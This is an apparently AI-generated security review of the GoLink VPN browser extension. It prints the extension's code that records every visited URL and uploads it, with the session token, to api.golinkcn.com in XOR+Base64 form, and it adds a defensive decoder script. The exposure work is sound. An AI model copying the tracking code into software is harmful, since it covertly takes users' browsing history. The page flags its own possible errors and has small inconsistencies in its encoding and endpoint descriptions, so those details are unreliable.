Is GoLink - 海外免费回国加速器 safe?
GoLink is high risk. While the VPN proxy routes traffic, GoLink also queues visited URLs (excluding static assets), uploading batches of 200 to api.golinkcn.com/report/extension-log-v2, XOR+Base64 encoded, per popup open. Markers appeared verbatim decoded.
Who publishes itGoLink - no other listings under this identity
GoLink - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
GoLink VPN logs every visited URL to a separate telemetry endpoint
While the VPN proxy routes traffic, GoLink also queues visited URLs (excluding static assets), uploading batches of 200 to api.golinkcn.com/report/extension-log-v2, XOR+Base64 encoded, per popup open.
Markers appeared verbatim decoded.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-359
- Source
- Dynamic sandbox
You enable the VPN proxy and browse normally.
The extension quietly records every URL you visit into a local queue, then uploads the full list to api.golinkcn.com the next time you open the popup.
This upload pipeline is separate from the VPN proxy traffic; it runs regardless of which server handles your connection.
URLs accumulate here until the popup is opened. The queue persists across browser restarts and is only cleared after a successful upload.
- Location
- chrome.storage.local key 'urls'
- Visited URL listaGh0dHBzOi8vbWFpbC5nb29nbGUuY29t... (XOR+Base64)
Up to 200 URLs from your recent browsing, encoded to obscure them in transit.
- Session tokeneyJhbGciOiJIUzI1NiJ9.eyJ1aWQiOjEyMzQ1fQ.abc123
Your account token, sent to authenticate the report to your account.
- Connected VPN server104.21.44.83
The IP address of the VPN node you are connected through.
- VPN server ID42
Internal identifier for the VPN node in use at the time of the report.
- Extension version0.4.1
Which version of GoLink submitted this report.
The URL list is encoded before transmission using a character-shift XOR against the string 'token', then Base64-encoded. It is not encrypted with a key you lack, but the encoding makes the content invisible to casual network inspection.
https://mail.google.com/mail/u/0/#inboxThe URL collection and upload logic
Listener registration in background service worker
// Polls every second until proxy_mode is active (2–5), then registers// a webRequest.onCompleted listener that records every URL visited.const startUrlTracking = setInterval(async () => { let proxyMode = await getStorage('proxy_mode'); if (proxyMode == 2 || proxyMode == 3 || proxyMode == 4 || proxyMode == 5) { console.log(proxyMode, 'mode ok'); chrome.webRequest.onCompleted.addListener( function(details) { recordUrl(details.url); }, { urls: ['<all_urls>'] } ); clearInterval(startUrlTracking); }}, 1000);URL storage function gn() — queues each visited URL
// Called for every completed HTTP request.// Skips: unauthenticated sessions, static assets (.js/.css/png/etc),// and the extension's own API domains (api.golinkapi.com).// Appends everything else to chrome.storage.local['urls'].async function recordUrl(url) { if (await getStorage('user') == null) return; // not logged in let urls = await getStorage('urls') || []; let proxyMode = await getStorage('proxy_mode'); if (proxyMode == 0 || proxyMode == 1 || proxyMode == null) return; const staticHostExclusions = ['b2b.baidu.com/static/', 'ss1.bdstatic.com']; const staticExtExclusions = ['.js', '.css', 'png', 'svg', '.gif', 'woff2', 'ico', 'jpg']; const urlPattern = /^(https?:\/\/[0-9a-z.]+?[/0-9a-z.]+)?(\?[0-9a-z&=]+)?(#[0-9-a-z]+)?/i; let match = urlPattern.exec(url); if (match && match[1]) { let cleanUrl = match[1]; if (cleanUrl.startsWith('https://api.golinkapi.com')) return; for (let host of staticHostExclusions) if (cleanUrl.includes(host)) return; for (let ext of staticExtExclusions) if (cleanUrl.endsWith(ext)) return; let isNew = true; urls.forEach(u => { if (u === cleanUrl) isNew = false; }); if (isNew) { urls.push(cleanUrl); await setStorage('urls', urls); } }}Batch upload function On() — flushes queue on popup open
// Fires when the popup opens. Uploads queued URLs in batches of 200// to api.golinkcn.com/report/extension-log-v2, one batch every 3 seconds.// Clears the local queue after all batches are sent.async function flushUrlQueue() { let urls = await getStorage('urls'); if (!urls || urls.length < 10) return; // minimum threshold: 10 URLs let batches = chunkArray(urls, 200); let connectedServer = await getStorage('c_area') || (await getStorage('node_list') || [])[0]; let serverId = connectedServer?.id || 0; let serverHost = connectedServer?.host || ''; let batchIndex = 0; const version = chrome.runtime.getManifest().version; let uploadTimer = window.setInterval(async () => { await postExtensionLog({ token: await getStorage('token'), connect_ip: serverHost, server_id: serverId, data: xorEncode(batches[batchIndex].toString(), 'token'), // XOR+Base64 platform: 6, version: version }); batchIndex++; if (batchIndex >= batches.length) { window.clearInterval(uploadTimer); await setStorage('urls', []); // clear queue } }, 3000);}- api.golinkcn.com
Primary telemetry endpoint for GoLink. Receives the encoded browsing URL log at /report/extension-log-v2. Operated by the GoLink VPN developer.
- api.golinkapi.com
Fallback endpoint used if api.golinkcn.com is unavailable. Same developer, same telemetry pipeline.
Decodes the XOR+Base64-encoded 'data' field from a captured POST to /report/extension-log-v2, revealing the plain-text URL list that was transmitted.
- Node.js 14+
// golink-url-decoder.js// Decodes the 'data' field from a GoLink extension-log-v2 POST body.// The encoding is: XOR each char with 'token'[i % 5], then btoa().//// Usage: node golink-url-decoder.js <base64_data_field>// Example: node golink-url-decoder.js 'aGh0dHBzOi8vbWFpbC5nb29nbGUuY29t...'function decode(encoded) { const key = 'token'; const raw = Buffer.from(encoded, 'base64').toString('binary'); let result = ''; for (let i = 0; i < raw.length; i++) { result += String.fromCharCode(raw.charCodeAt(i) - key.charCodeAt(i % key.length)); } return result;}const input = process.argv[2];if (!input) { console.error('Usage: node golink-url-decoder.js <base64_data_field>'); process.exit(1);}console.log('Decoded URL list:');console.log(decode(input));- 1Capture a POST to /report/extension-log-v2 via DevTools Network (filter 'extension-log').
- 2Copy the 'data' field.
- 3Run: node golink-url-decoder.js '<data_value>'.
- 4Output shows the decoded, comma-separated URL list.
What it can do
Permissions this extension asks for, as declared in version 0.4.1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
<all_urls>
Watch every request your browser makes
webRequest
Store data in your browser
storage
Route all of your browsing through a server of its choosing
proxy
Sign you in with your Google account
identity